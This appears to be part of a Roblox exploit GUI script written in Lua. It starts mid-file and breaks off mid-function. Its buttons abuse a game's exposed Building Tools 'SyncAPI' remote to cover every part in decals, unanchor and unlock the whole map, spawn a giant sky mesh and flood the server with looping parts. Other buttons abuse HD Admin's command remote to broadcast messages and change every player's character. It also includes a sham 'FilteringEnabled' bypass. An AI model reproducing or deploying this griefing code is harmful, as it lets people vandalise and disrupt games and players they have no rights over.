			if v.Name == "SyncAPI" then	
				tool = v.Parent	
				break	
			end	
		end	
	
		if not tool and char then	
			for _, v in char:GetDescendants() do	
				if v.Name == "SyncAPI" then	
					tool = v.Parent	
					break	
				end	
			end	
		end	
	
		if not tool then	
			for _, v in game.ReplicatedStorage:GetDescendants() do	
				if v.Name == "SyncAPI" then	
					tool = v.Parent	
					break	
				end	
			end	
		end	
	
		if not tool then	
			warn("SyncAPI tool not found!")	
			return	
		end	
	
		remote = tool.SyncAPI.ServerEndpoint	
	
		local function _(args)	
			remote:InvokeServer(table.unpack(args))	
		end	
	
		local function SetCollision(part, boolean)	
			local args = {	
				[1] = "SyncCollision",	
				[2] = {	
					[1] = {	
						["Part"] = part,	
						["CanCollide"] = boolean	
					}	
				}	
			}	
			_(args)	
		end	
	
		local function SetAnchor(boolean, part)	
			local args = {	
				[1] = "SyncAnchor",	
				[2] = {	
					[1] = {	
						["Part"] = part,	
						["Anchored"] = boolean	
					}	
				}	
			}	
			_(args)	
		end	
	
		local function CreatePart(cf, parent)	
			local args = {	
				[1] = "CreatePart",	
				[2] = "Normal",	
				[3] = cf,	
				[4] = parent	
			}	
			_(args)	
		end	
	
		local function DestroyPart(part)	
			local args = {	
				[1] = "Remove",	
				[2] = {	
					[1] = part	
				}	
			}	
			_(args)	
		end	
	
		local function MovePart(part, cf)	
			local args = {	
				[1] = "SyncMove",	
				[2] = {	
					[1] = {	
						["Part"] = part,	
						["CFrame"] = cf	
					}	
				}	
			}	
			_(args)	
		end	
	
		local function Resize(part, size, cf)	
			local args = {	
				[1] = "SyncResize",	
				[2] = {	
					[1] = {	
						["Part"] = part,	
						["CFrame"] = cf,	
						["Size"] = size	
					}	
				}	
			}	
			_(args)	
		end	
	
		local function AddMesh(part)	
			local args = {	
				[1] = "CreateMeshes",	
				[2] = {	
					[1] = {	
						["Part"] = part	
					}	
				}	
			}	
			_(args)	
		end	
	
		local function SetMesh(part, meshid)	
			local args = {	
				[1] = "SyncMesh",	
				[2] = {	
					[1] = {	
						["Part"] = part,	
						["MeshId"] = "rbxassetid://" .. meshid	
					}	
				}	
			}	
			_(args)	
		end	
	
		local function SetTexture(part, texid)	
			local args = {	
				[1] = "SyncMesh",	
				[2] = {	
					[1] = {	
						["Part"] = part,	
						["TextureId"] = "rbxassetid://" .. texid	
					}	
				}	
			}	
			_(args)	
		end	
	
		local function SetName(part, stringg)	
			local args = {	
				[1] = "SetName",	
				[2] = {	
					[1] = part	
				},	
				[3] = stringg	
			}	
			_(args)	
		end	
	
		local function MeshResize(part, size)	
			local args = {	
				[1] = "SyncMesh",	
				[2] = {	
					[1] = {	
						["Part"] = part,	
						["Scale"] = size	
					}	
				}	
			}	
			_(args)	
		end	
	
		local function Weld(part1, part2, lead)	
			local args = {	
				[1] = "CreateWelds",	
				[2] = {	
					[1] = part1,	
					[2] = part2	
				},	
				[3] = lead	
			}	
			_(args)	
		end	
	
		local function SetLocked(part, boolean)	
			local args = {	
				[1] = "SetLocked",	
				[2] = {	
					[1] = part	
				},	
				[3] = boolean	
			}	
			_(args)	
		end	
	
		local function SetTrans(part, int)	
			local args = {	
				[1] = "SyncMaterial",	
				[2] = {	
					[1] = {	
						["Part"] = part,	
						["Transparency"] = int	
					}	
				}	
			}	
			_(args)	
		end	
	
		local function CreateSpotlight(part)	
			local args = {	
				[1] = "CreateLights",	
				[2] = {	
					[1] = {	
						["Part"] = part,	
						["LightType"] = "SpotLight"	
					}	
				}	
			}	
			_(args)	
		end	
	
		local function SyncLighting(part, brightness)	
			local args = {	
				[1] = "SyncLighting",	
				[2] = {	
					[1] = {	
						["Part"] = part,	
						["LightType"] = "SpotLight",	
						["Brightness"] = brightness	
					}	
				}	
			}	
			_(args)	
		end	
	
		local function Color(part, color)	
			local args = {	
				[1] = "SyncColor",	
				[2] = {	
					[1] = {	
						["Part"] = part,	
						["Color"] = color,	
						["UnionColoring"] = false	
					}	
				}	
			}	
			_(args)	
		end	
	
		local function SpawnDecal(part, side)	
			local args = {	
				[1] = "CreateTextures",	
				[2] = {	
					[1] = {	
						["Part"] = part,	
						["Face"] = side,	
						["TextureType"] = "Decal"	
					}	
				}	
			}	
			_(args)	
		end	
	
		local function AddDecal(part, asset, side)	
			local args = {	
				[1] = "SyncTexture",	
				[2] = {	
					[1] = {	
						["Part"] = part,	
						["Face"] = side,	
						["TextureType"] = "Decal",	
						["Texture"] = "rbxassetid://" .. asset	
					}	
				}	
			}	
			_(args)	
		end	
	
		local function Sky(id)	
			local root = char:WaitForChild("HumanoidRootPart")	
			local spawnCF = root.CFrame + Vector3.new(0, 6, 0)	
	
			-- Snapshot existing parts before creating	
			local existingParts = {}	
			for _, v in workspace:GetChildren() do	
				existingParts[v] = true	
			end	
	
			CreatePart(spawnCF, workspace)	
			task.wait(0.3)	
	
			-- Find the newly added part	
			local skyPart	
			for _, v in workspace:GetChildren() do	
				if v:IsA("BasePart") and not existingParts[v] then	
					skyPart = v	
					break	
				end	
			end	
	
			if skyPart then	
				SetName(skyPart, "Sky")	
				AddMesh(skyPart)	
				SetMesh(skyPart, "111891702759441")	
				SetTexture(skyPart, id)	
				MeshResize(skyPart, Vector3.new(10000, 10000, 10000))	
				SetLocked(skyPart, true)	
				SetAnchor(true, skyPart)	
			else	
				warn("Sky part not found after creation!")	
			end	
		end	
	
		Sky("1369437449")	
	
		--Please leave this credit	
		--Script made by Yaazkidd (I copy inspiration from blue2spooky wooo)	
	end)
end;
task.spawn(C_8);
-- StarterGui.ScreenGui.Frame.TextButton.LocalScript
local function C_a()
local script = G2L["a"];
	local button = script.Parent
	
	button.MouseButton1Click:Connect(function()
		local player = game.Players.LocalPlayer
		local char = player.Character or player.CharacterAdded:Wait()
		local tool
	
		for i,v in player:GetDescendants() do
			if v.Name == "SyncAPI" then
				tool = v.Parent
			end
		end
	
		for i,v in game.ReplicatedStorage:GetDescendants() do
			if v.Name == "SyncAPI" then
				tool = v.Parent
			end
		end
	
		if not tool then return end
	
		local remote = tool.SyncAPI.ServerEndpoint
	
		function _(args)
			remote:InvokeServer(unpack(args))
		end
	
		function CreatePart(cf,parent)
			_({"CreatePart","Normal",cf,parent})
		end
	
		function SetName(part,name)
			_({"SetName",{part},name})
		end
	
		function Resize(part,size,cf)
			_({"SyncResize",{{Part=part,CFrame=cf,Size=size}}})
		end
	
		function MovePart(part,cf)
			_({"SyncMove",{{Part=part,CFrame=cf}}})
		end
	
		function SetLocked(part,boolean)
			_({"SetLocked",{part},boolean})
		end
	
		function SetTrans(part,int)
			_({"SyncMaterial",{{Part=part,Transparency=int}}})
		end
	
		function SpawnDecal(part,side)
			_({"CreateTextures",{{Part=part,Face=side,TextureType="Decal"}}})
		end
	
		function AddDecal(part,asset,side)
			_({"SyncTexture",{{Part=part,Face=side,TextureType="Decal",Texture="rbxassetid://6877509129"}}})
		end
	
		while wait(0.1) do
			spawn(function()
	
				local e = char.HumanoidRootPart.CFrame.x + math.random(-100, 100)
				local f = char.HumanoidRootPart.CFrame.y
				local g = char.HumanoidRootPart.CFrame.z + math.random(-100, 100)
	
				CreatePart(CFrame.new(math.floor(e), math.floor(f), math.floor(g)) + Vector3.new(0,6,0), workspace)
	
				for i,v in game.Workspace:GetDescendants() do
					if v:IsA("BasePart") and v.CFrame.x == math.floor(e) and v.CFrame.z == math.floor(g) then
	
						SetName(v,"particle")
	
						SpawnDecal(v,Enum.NormalId.Front)
						AddDecal(v,decalId,Enum.NormalId.Front)
	
						SpawnDecal(v,Enum.NormalId.Back)
						AddDecal(v,decalId,Enum.NormalId.Back)
	
						SetTrans(v,1)
						Resize(v,Vector3.new(7,7,0.1),v.CFrame)
						SetLocked(v,true)
	
						while wait(0.01) do
							MovePart(v,CFrame.new(v.CFrame.x,v.CFrame.y + 3,v.CFrame.z))
						end
	
					end
				end
	
			end)
		end
	end)
	
end;
task.spawn(C_a);
-- StarterGui.ScreenGui.Frame.TextButton.LocalScript
local function C_c()
local script = G2L["c"];
	local button = script.Parent
	
	button.MouseButton1Click:Connect(function()
		local player = game.Players.LocalPlayer
		local char = player.Character
		local tool
		for i,v in player:GetDescendants() do
			if v.Name == "SyncAPI" then
				tool = v.Parent
			end
		end
		for i,v in game.ReplicatedStorage:GetDescendants() do
			if v.Name == "SyncAPI" then
				tool = v.Parent
			end
		end
		--craaa
		remote = tool.SyncAPI.ServerEndpoint
		function _(args)
			remote:InvokeServer(unpack(args))
		end
		function SetCollision(part,boolean)
			local args = {
				[1] = "SyncCollision",
				[2] = {
					[1] = {
						["Part"] = part,
						["CanCollide"] = boolean
					}
				}
			}
			_(args)
		end
		function SetAnchor(boolean,part)
			local args = {
				[1] = "SyncAnchor",
				[2] = {
					[1] = {
						["Part"] = part,
						["Anchored"] = boolean
					}
				}
			}
			_(args)
		end
		function CreatePart(cf,parent)
			local args = {
				[1] = "CreatePart",
				[2] = "Normal",
				[3] = cf,
				[4] = parent
			}
			_(args)
		end
		function DestroyPart(part)
			local args = {
				[1] = "Remove",
				[2] = {
					[1] = part
				}
			}
			_(args)
		end
		function MovePart(part,cf)
			local args = {
				[1] = "SyncMove",
				[2] = {
					[1] = {
						["Part"] = part,
						["CFrame"] = cf
					}
				}
			}
			_(args)
		end
		function Resize(part,size,cf)
			local args = {
				[1] = "SyncResize",
				[2] = {
					[1] = {
						["Part"] = part,
						["CFrame"] = cf,
						["Size"] = size
					}
				}
			}
			_(args)
		end
		function AddMesh(part)
			local args = {
				[1] = "CreateMeshes",
				[2] = {
					[1] = {
						["Part"] = part
					}
				}
			}
			_(args)
		end
	
		function SetMesh(part,meshid)
			local args = {
				[1] = "SyncMesh",
				[2] = {
					[1] = {
						["Part"] = part,
						["MeshId"] = "rbxassetid://"..meshid
					}
				}
			}
			_(args)
		end
		function SetTexture(part, texid)
			local args = {
				[1] = "SyncMesh",
				[2] = {
					[1] = {
						["Part"] = part,
						["TextureId"] = "rbxassetid://"..texid
					}
				}
			}
			_(args)
		end
		function SetName(part, stringg)
			local args = {
				[1] = "SetName",
				[2] = {
					[1] = workspace.Part
				},
				[3] = stringg
			}
	
			_(args)
		end
		function MeshResize(part,size)
			local args = {
				[1] = "SyncMesh",
				[2] = {
					[1] = {
						["Part"] = part,
						["Scale"] = size
					}
				}
			}
			_(args)
		end
		function Weld(part1, part2,lead)
			local args = {
				[1] = "CreateWelds",
				[2] = {
					[1] = part1,
					[2] = part2
				},
				[3] = lead
			}
			_(args)
	
		end
		function SetLocked(part,boolean)
			local args = {
				[1] = "SetLocked",
				[2] = {
					[1] = part
				},
				[3] = boolean
			}
			_(args)
		end
		function SetTrans(part,int)
			local args = {
				[1] = "SyncMaterial",
				[2] = {
					[1] = {
						["Part"] = part,
						["Transparency"] = int
					}
				}
			}
			_(args)
		end
		function CreateSpotlight(part)
			local args = {
				[1] = "CreateLights",
				[2] = {
					[1] = {
						["Part"] = part,
						["LightType"] = "SpotLight"
					}
				}
			}
			_(args)
		end
		function SyncLighting(part,brightness)
			local args = {
				[1] = "SyncLighting",
				[2] = {
					[1] = {
						["Part"] = part,
						["LightType"] = "SpotLight",
						["Brightness"] = brightness
					}
				}
			}
			_(args)
		end
	
		function Unanchor()
			for i,v in game.Workspace:GetDescendants() do
				spawn(function()
					SetLocked(v,false)
					SetAnchor(false,v)
				end)
			end
		end
		Unanchor()
	end)
end;
task.spawn(C_c);
-- StarterGui.ScreenGui.Frame.TextButton.LocalScript
local function C_e()
local script = G2L["e"];
	local button = script.Parent
	
	button.MouseButton1Click:Connect(function()
		local ReplicatedStorage = game:GetService("ReplicatedStorage")
		local RequestCommand = ReplicatedStorage:WaitForChild("HDAdminHDClient").Signals.RequestCommand
	
		RequestCommand:InvokeServer(";sm THE N00BZ ARE HERE NOW SURRENDER")
	end)
end;
task.spawn(C_e);
-- StarterGui.ScreenGui.Frame.TextButton.LocalScript
local function C_10()
local script = G2L["10"];
	local button = script.Parent
	
	button.MouseButton1Click:Connect(function()
		local ReplicatedStorage = game:GetService("ReplicatedStorage")
		local RequestCommand = ReplicatedStorage:WaitForChild("HDAdminHDClient").Signals.RequestCommand
	
		RequestCommand:InvokeServer(";SH WE WANT OUR INDEPENDENCE NOW! GIVE OUR NOOB LAND BACK!")
	end)
end;
task.spawn(C_10);
-- StarterGui.ScreenGui.Frame.TextButton.LocalScript
local function C_12()
local script = G2L["12"];
	local button = script.Parent
	
	button.MouseButton1Click:Connect(function()
		local ReplicatedStorage = game:GetService("ReplicatedStorage")
		local RequestCommand = ReplicatedStorage:WaitForChild("HDAdminHDClient").Signals.RequestCommand
	
		RequestCommand:InvokeServer(";CHAR ALL NOOB_313878")
	end)
end;
task.spawn(C_12);
-- StarterGui.ScreenGui.Frame.TextButton.LocalScript
local function C_14()
local script = G2L["14"];
	warn('fe bypass complete')
	game.Workspace.FilteringEnabled = false
end;
task.spawn(C_14);
-- StarterGui.ScreenGui.Frame.TextButton.LocalScript
local function C_16()
local script = G2L["16"];
	local button = script.Parent
	
	button.MouseButton1Click:Connect(function()
	
	
		local player = game.Players.LocalPlayer
		local char = player.Character
		local tool
		for i,v in player:GetDescendants() do
			if v.Name == "SyncAPI" then
				tool = v.Parent
			end
		end
		for i,v in game.ReplicatedStorage:GetDescendants() do
			if v.Name == "SyncAPI" then
				tool = v.Parent
			end
		end
		--craaa
		remote = tool.SyncAPI.ServerEndpoint
		function _(args)
			remote:InvokeServer(unpack(args))
		end
		function SetCollision(part,boolean)
			local args = {
				[1] = "SyncCollision",
				[2] = {
					[1] = {
						["Part"] = part,
						["CanCollide"] = boolean
					}
				}
			}
			_(args)
		end
		function SetAnchor(boolean,part)
			local args = {
				[1] = "SyncAnchor",
				[2] = {
					[1] = {
						["Part"] = part,
						["Anchored"] = boolean
					}
				}
			}
			_(args)
		end
		function CreatePart(cf,parent)
			local args = {
				[1] = "CreatePart",
				[2] = "Normal",
				[3] = cf,
				[4] = parent
			}
			_(args)
		end
		function DestroyPart(part)
			local args = {
				[1] = "Remove",
				[2] = {
					[1] = part
				}
			}
			_(args)
		end
		function MovePart(part,cf)
			local args = {
				[1] = "SyncMove",
				[2] = {
					[1] = {
						["Part"] = part,
						["CFrame"] = cf
					}
				}
			}
			_(args)
		end
		function Resize(part,size,cf)
			local args = {
				[1] = "SyncResize",
				[2] = {
					[1] = {
						["Part"] = part,
						["CFrame"] = cf,
						["Size"] = size
					}
				}
			}
			_(args)
		end
		function AddMesh(part)
			local args = {
				[1] = "CreateMeshes",
				[2] = {
					[1] = {
						["Part"] = part
					}
				}
			}
			_(args)
		end
	
		function SetMesh(part,meshid)
			local args = {
				[1] = "SyncMesh",
				[2] = {
					[1] = {
						["Part"] = part,
						["MeshId"] = "rbxassetid://"..meshid
					}
				}
			}
			_(args)
		end
		function SetTexture(part, texid)
			local args = {
				[1] = "SyncMesh",
				[2] = {
					[1] = {
						["Part"] = part,
						["TextureId"] = "rbxassetid://"..texid
					}
				}
			}
			_(args)
		end
		function SetName(part, stringg)
			local args = {
				[1] = "SetName",
				[2] = {
					[1] = part
				},
				[3] = stringg
			}
	
			_(args)
		end
		function MeshResize(part,size)
			local args = {
				[1] = "SyncMesh",
				[2] = {
					[1] = {
						["Part"] = part,
						["Scale"] = size
					}
				}
			}
			_(args)
		end
		function Weld(part1, part2,lead)
			local args = {
				[1] = "CreateWelds",
				[2] = {
					[1] = part1,
					[2] = part2
				},
				[3] = lead
			}
			_(args)
	
		end
		function SetLocked(part,boolean)
			local args = {
				[1] = "SetLocked",
				[2] = {
					[1] = part
				},
				[3] = boolean
			}
			_(args)
		end
		function SetTrans(part,int)
			local args = {
				[1] = "SyncMaterial",
				[2] = {
					[1] = {
						["Part"] = part,
						["Transparency"] = int
					}
				}
			}
			_(args)
		end
		function CreateSpotlight(part)
			local args = {
				[1] = "CreateLights",
				[2] = {
					[1] = {
						["Part"] = part,
						["LightType"] = "SpotLight"
					}
				}
			}
			_(args)
		end
		function SyncLighting(part,brightness)
			local args = {
				[1] = "SyncLighting",
				[2] = {
					[1] = {
						["Part"] = part,
						["LightType"] = "SpotLight",
						["Brightness"] = brightness
					}
				}
			}
			_(args)
		end
		function Color(part,color)
			local args = {
				[1] = "SyncColor",
				[2] = {
					[1] = {
						["Part"] = part,
						["Color"] = color --[[Color3]],
						["UnionColoring"] = false
					}
				}
			}
			_(args)
		end
		function SpawnDecal(part,side)
			local args = {
				[1] = "CreateTextures",
				[2] = {
					[1] = {
						["Part"] = part,
						["Face"] = side,
						["TextureType"] = "Decal"
					}
				}
			}
	
			_(args)
		end
		function AddDecal(part,asset,side)
			local args = {
				[1] = "SyncTexture",
				[2] = {
					[1] = {
						["Part"] = part,
						["Face"] = side,
						["TextureType"] = "Decal",
						["Texture"] = "rbxassetid://".. asset
					}
				}
			}
			_(args)
		end
	
		function spam(id)
			for i,v in game.Workspace:GetDescendants() do
				if v:IsA("BasePart") then
					spawn(function()
						SetLocked(v,false)
						SpawnDecal(v,Enum.NormalId.Front)
						AddDecal(v,id,Enum.NormalId.Front)
	
						SpawnDecal(v,Enum.NormalId.Back)
						AddDecal(v,id,Enum.NormalId.Back)
	
						SpawnDecal(v,Enum.NormalId.Right)
						AddDecal(v,id,Enum.NormalId.Right)
	
						SpawnDecal(v,Enum.NormalId.Left)
						AddDecal(v,id,Enum.NormalId.Left)
	
						SpawnDecal(v,Enum.NormalId.Bottom)
						AddDecal(v,id,Enum.NormalId.Bottom)
	
						SpawnDecal(v,Enum.NormalId.Top)
						AddDecal(v,id,Enum.NormalId.Top)
					end)
				end
			end 
		end
		spam("13456816107")
		
		-----------------------
		local player = game.Players.LocalPlayer	
		local char = player.Character	
		local tool	
		local remote	
	
		-- Search player Backpack and character for the tool	
		for _, v in player.Backpack:GetDescendants() do	
			if v.Name == "SyncAPI" then	
				tool = v.Parent	
				break	
			end	
		end	
	
		if not tool and char then	
			for _, v in char:GetDescendants() do	
				if v.Name == "SyncAPI" then	
					tool = v.Parent	
					break	
				end	
			end	
		end	
	
		if not tool then	
			for _, v in game.ReplicatedStorage:GetDescendants() do	
				if v.Name == "SyncAPI" then	
					tool = v.Parent	
					break	
				end	
			end	
		end	
	
		if not tool then	
			warn("SyncAPI tool not found!")	
			return	
		end	
	
		remote = tool.SyncAPI.ServerEndpoint	
	
		local function _(args)	
			remote:InvokeServer(table.unpack(args))	
		end	
	
		local function SetCollision(part, boolean)	
			local args = {	
				[1] = "SyncCollision",	
				[2] = {	
					[1] = {	
						["Part"] = part,	
						["CanCollide"] = boolean	
					}	
				}	
			}	
			_(args)	
		end	
	
		local function SetAnchor(boolean, part)	
			local args = {	
				[1] = "SyncAnchor",	
				[2] = {	
					[1] = {	
						["Part"] = part,	
						["Anchored"] = boolean	
					}	
				}	
			}	
			_(args)	
		end	
	
		local function CreatePart(cf, parent)	
			local args = {	
				[1] = "CreatePart",	
				[2] = "Normal",	
				[3] = cf,	
				[4] = parent	
			}	
			_(args)	
		end	
	
		local function DestroyPart(part)	
			local args = {	
				[1] = "Remove",	
				[2] = {	
					[1] = part	
				}	
			}	
			_(args)	
		end	
	
		local function MovePart(part, cf)	
			local args = {	
				[1] = "SyncMove",	
				[2] = {	
					[1] = {	
						["Part"] = part,	
						["CFrame"] = cf	
					}	
				}	
			}	
			_(args)	
		end	
	
		local function Resize(part, size, cf)	
			local args = {	
				[1] = "SyncResize",	
				[2] = {	
					[1] = {	
						["Part"] = part,	
						["CFrame"] = cf,	
						["Size"] = size	
					}	
				}	
			}	
			_(args)	
		end	
	
		local function AddMesh(part)	
			local args = {	
				[1] = "CreateMeshes",	
				[2] = {	
					[1] = {	
						["Part"] = part	
					}	
				}	
			}	
			_(args)	
		end	
	
		local function SetMesh(part, meshid)	
			local args = {	
				[1] = "SyncMesh",	
				[2] = {	
					[1] = {	
						["Part"] = part,	
						["MeshId"] = "rbxassetid://" .. meshid	
					}	
				}	
			}	
			_(args)	
		end	
	
		local function SetTexture(part, texid)	
			local args = {	
				[1] = "SyncMesh",	
				[2] = {	
					[1] = {	
						["Part"] = part,	
						["TextureId"] = "rbxassetid://" .. texid	
					}	
				}	
			}	
			_(args)	
		end	
	
		local function SetName(part, stringg)	
			local args = {	
				[1] = "SetName",	
				[2] = {	
					[1] = part	
				},	
				[3] = stringg	
			}	
			_(args)	
		end	
	
		local function MeshResize(part, size)	
			local args = {	
				[1] = "SyncMesh",	
				[2] = {	
					[1] = {	
						["Part"] = part,	
						["Scale"] = size	
					}	
				}	
			}	
			_(args)	
		end	
	
		local function Weld(part1, part2, lead)	
			local args = {	
				[1] = "CreateWelds",	
				[2] = {	
					[1] = part1,	
					[2] = part2	
				},	
				[3] = lead	
			}	
			_(args)	
		end	
	
		local function SetLocked(part, boolean)	
			local args = {	
				[1] = "SetLocked",	
				[2] = {	
					[1] = part	
				},	
				[3] = boolean	
			}	
			_(args)	
		end	
	
		local function SetTrans(part, int)	
			local args = {	
				[1] = "SyncMaterial",	
				[2] = {	
					[1] = {	
						["Part"] = part,	
						["Transparency"] = int	
					}	
				}	
			}	
			_(args)	
		end	
	
		local function CreateSpotlight(part)	
			local args = {	
				[1] = "CreateLights",	
				[2] = {	
					[1] = {	
						["Part"] = part,	
						["LightType"] = "SpotLight"	
					}	
				}	
			}	
			_(args)	
		end	
	
		local function SyncLighting(part, brightness)	
			local args = {	
				[1] = "SyncLighting",	
				[2] = {	
					[1] = {	
						["Part"] = part,	
						["LightType"] = "SpotLight",	
						["Brightness"] = brightness	
					}	
				}	
			}	
			_(args)	
		end	
	
		local function Color(part, color)	
			local args = {	
				[1] = "SyncColor",	
				[2] = {	
					[1] = {	
						["Part"] = part,	
						["Color"] = color,	
						["UnionColoring"] = false	
					}	
				}	
			}	
			_(args)	
		end	
	
		local function SpawnDecal(part, side)	
			local args = {	
				[1] = "CreateTextures",	
				[2] = {	
					[1] = {	
						["Part"] = part,	
						["Face"] = side,	
						["TextureType"] = "Decal"	
					}	
				}	
			}	
			_(args)	
		end	
	
		local function AddDecal(part, asset, side)	
			local args = {	
				[1] = "SyncTexture",	
				[2] = {	
					[1] = {	
						["Part"] = part,	
						["Face"] = side,	
						["TextureType"] = "Decal",	
						["Texture"] = "rbxassetid://" .. asset	
					}	
				}	
			}	
			_(args)	
		end	
	
		local function Sky(id)	
			local root = char:WaitForChild("HumanoidRootPart")	
			local spawnCF = root.CFrame + Vector3.new(0, 6, 0)	
	
			-- Snapshot existing parts before creating	
			local existingParts = {}	
			for _, v in workspace:GetChildren() do	
				existingParts[v] = true	
			end	
	
			CreatePart(spawnCF, workspace)	
			task.wait(0.3)	
	
			-- Find the newly added part	
			local skyPart	
			for _, v in workspace:GetChildren() do	
				if v:IsA("BasePart") and not existingParts[v] then	
					skyPart = v	
					break	
				end	
			end	
	
			if skyPart then	
				SetName(skyPart, "Sky")	
				AddMesh(skyPart)	
				SetMesh(skyPart, "111891702759441")	
				SetTexture(skyPart, id)	
				MeshResize(skyPart, Vector3.new(10000, 10000, 10000))	
				SetLocked(skyPart, true)	
				SetAnchor(true, skyPart)	
			else	
				warn("Sky part not found after creation!")	
			end	
		end	
	
		Sky("13456816107")	
	
		--Please leave this credit	
		--Script made by Yaazkidd (I copy inspiration from blue2spooky wooo)
		
		----------------------------
		
		
		local player = game.Players.LocalPlayer
		local char = player.Character or player.CharacterAdded:Wait()
		local tool
	
		for i,v in player:GetDescendants() do
			if v.Name == "SyncAPI" then
				tool = v.Parent
			end
		end
	
		for i,v in game.ReplicatedStorage:GetDescendants() do
			if v.Name == "SyncAPI" then
				tool = v.Parent
			end
		end
	
		if not tool then return end
	
		local remote = tool.SyncAPI.ServerEndpoint
	
		function _(args)
			remote:InvokeServer(unpack(args))
		end
	
		function CreatePart(cf,parent)
			_({"CreatePart","Normal",cf,parent})
		end
	
		function SetName(part,name)
			_({"SetName",{part},name})
		end
	
		function Resize(part,size,cf)
			_({"SyncResize",{{Part=part,CFrame=cf,Size=size}}})
		end
	
		function MovePart(part,cf)
			_({"SyncMove",{{Part=part,CFrame=cf}}})
		end
	
		function SetLocked(part,boolean)
			_({"SetLocked",{part},boolean})
		end
	
		function SetTrans(part,int)
			_({"SyncMaterial",{{Part=part,Transparency=int}}})
		end
	
		function SpawnDecal(part,side)
			_({"CreateTextures",{{Part=part,Face=side,TextureType="Decal"}}})
		end
	
		function AddDecal(part,asset,side)
			_({"SyncTexture",{{Part=part,Face=side,TextureType="Decal",Texture="rbxassetid://13456816107"}}})
		end
	
		while wait(0.1) do
			spawn(function()
	
				local e = char.HumanoidRootPart.CFrame.x + math.random(-100, 100)
				local f = char.HumanoidRootPart.CFrame.y
				local g = char.HumanoidRootPart.CFrame.z + math.random(-100, 100)
	
				CreatePart(CFrame.new(math.floor(e), math.floor(f), math.floor(g)) + Vector3.new(0,6,0), workspace)
	
				for i,v in game.Workspace:GetDescendants() do
					if v:IsA("BasePart") and v.CFrame.x == math.floor(e) and v.CFrame.z == math.floor(g) then
	
						SetName(v,"particle")
	
						SpawnDecal(v,Enum.NormalId.Front)
						AddDecal(v,decalId,Enum.NormalId.Front)
	
						SpawnDecal(v,Enum.NormalId.Back)
						AddDecal(v,decalId,Enum.NormalId.Back)
	
						SetTrans(v,1)
						Resize(v,Vector3.new(7,7,0.1),v.CFrame)
						SetLocked(v,true)
	
						while wait(0.01) do
							MovePart(v,CFrame.new(v.CFrame.x,v.CFrame.y + 3,v.CFrame.z))
						end
	
					end
				end
	
			end)
		end
		
	end)
end;
task.spawn(C_16);
-- StarterGui.ScreenGui.Frame.TextButton.LocalScript
local function C_18()
local script = G2L["18"];
	local button = script.Parent
	
	button.MouseButton1Click:Connect(function()
		--[[
		WARNING: Heads up! This script has not been verified by ScriptBlox. Use at your own risk!
	]]
		function BurningEff(part)
			local eff1 = Instance.new("ParticleEmitter",part)
			eff1.Size = NumberSequence.new(.1)
			eff1.Transparency = NumberSequence.new({NumberSequenceKeypoint.new(0,0),NumberSequenceKeypoint.new(.2,0),NumberSequenceKeypoint.new(1,1)})
			eff1.LightEmission = 1
			eff1.Lifetime = NumberRange.new(1)
			eff1.Speed = NumberRange.new(0)
			eff1.Rate = 100
			eff1.Texture = "rbxassetid://347504241"
			eff1.Acceleration = Vector3.new(0,10,0)
			eff1.Color = ColorSequence.new(Color3.new(1,0,0))
			local eff2 = Instance.new("ParticleEmitter",part)
			eff2.Size = NumberSequence.new(.1)
			eff2.Transparency = NumberSequence.new({NumberSequenceKeypoint.new(0,0),NumberSequenceKeypoint.new(.2,0),NumberSequenceKeypoint.new(1,1)})
			eff2.LightEmission = 1
			eff2.Lifetime = NumberRange.new(1)
			eff2.Speed = NumberRange.new(0)
			eff2.Rate = 100
			eff2.Texture = "rbxassetid://347504259"
			eff2.Acceleration = Vector3.new(0,10,0)
			eff2.Color = ColorSequence.new(Color3.new(1,0,0))
			local eff3 = Instance.new("ParticleEmitter",part)
			eff3.Size = NumberSequence.new(1)
			eff3.Transparency = NumberSequence.new({NumberSequenceKeypoint.new(0,0),NumberSequenceKeypoint.new(1,1)})
			eff3.LightEmission = 1
			eff3.Lifetime = NumberRange.new(1)
			eff3.Speed = NumberRange.new(0)
			eff3.Rate = 100
			eff3.Texture = "rbxasset://textures/particles/fire_main.dds"
			eff3.Acceleration = Vector3.new(0,10,0)
			eff3.Color = ColorSequence.new(Color3.new(1,0,0))
		end
	
	
		local player = game.Players.LocalPlayer
		local char = player.Character
		local tool
		for i,v in player:GetDescendants() do
			if v.Name == "SyncAPI" then
				tool = v.Parent
			end
		end
		for i,v in game.ReplicatedStorage:GetDescendants() do
			if v.Name == "SyncAPI" then
				tool = v.Parent
			end
		end
	
		remote = tool.SyncAPI.ServerEndpoint
		function _(args)
			remote:InvokeServer(unpack(args))
		end
		blak=Color3.new(0,0,0)
	
		local function Color(part, color)
			local args = {
				"SyncColor",
				{
					{
						Part = part,
						Color = color,
						UnionColoring = false
					}
				}
			}
			_(args)
		end
		function DestroyPart(part)
			local args = {
				[1] = "Remove",
				[2] = {
					[1] = part
				}
			}
			_(args)
		end
		function MoveVector(part,vector)
			local args = {
				[1] = "SyncMesh",
				[2] = {
					[1] = {
						["Part"] = part,
						["Offset"] = vector
					}
				}
			}
			_(args)
		end
		function AddMesh(part)
			local args = {
				[1] = "CreateMeshes",
				[2] = {
					[1] = {
						["Part"] = part
					}
				}
			}
			_(args)
		end
		function SetMesh(part,meshid)
			local args = {
				[1] = "SyncMesh",
				[2] = {
					[1] = {
						["Part"] = part,
						["MeshId"] = "rbxassetid://"..meshid
					}
				}
			}
			_(args)
		end
		function SetTrans(part,int)
			local args = {
				[1] = "SyncMaterial",
				[2] = {
					[1] = {
						["Part"] = part,
						["Transparency"] = int
					}
				}
			}
			_(args)
		end
		local function applyDecorationToPart(part) 
			local argsCreate = {
				[1] = "CreateDecorations",
				[2] = {
					[1] = {
						["Part"] = part,
						["DecorationType"] = "Fire"
					}
				}
			}
			local argsSync = {
				[1] = "SyncDecorate",
				[2] = {
					[1] = {
						["Part"] = part,
						["DecorationType"] = "Fire",
						["Size"] = 3,
						["Heat"] = 25,
						["Color"] = Color3.fromRGB(255, 0, 0), 
						["SecondaryColor"] = Color3.fromRGB(255, 0, 0) 
					} 
				} 
			}
			_(argsCreate)
			_(argsSync)
		end
	
		function eyePart(part) 
	
			local argsCreate = {
				[1] = "CreateDecorations",
				[2] = {
					[1] = {
						["Part"] = part,
						["DecorationType"] = "Fire"
					}
				}
			}
			local argsSync = {
				[1] = "SyncDecorate",
				[2] = {
					[1] = {
						["Part"] = part,
						["DecorationType"] = "Fire",
						["Size"] = 1,
						["Heat"] = 12,
						["Color"] = Color3.fromRGB(155, 0, 0), 
						["SecondaryColor"] = Color3.fromRGB(255, 0, 0) 
					} 
				} 
			}
	
			_(argsCreate)
			_(argsSync)
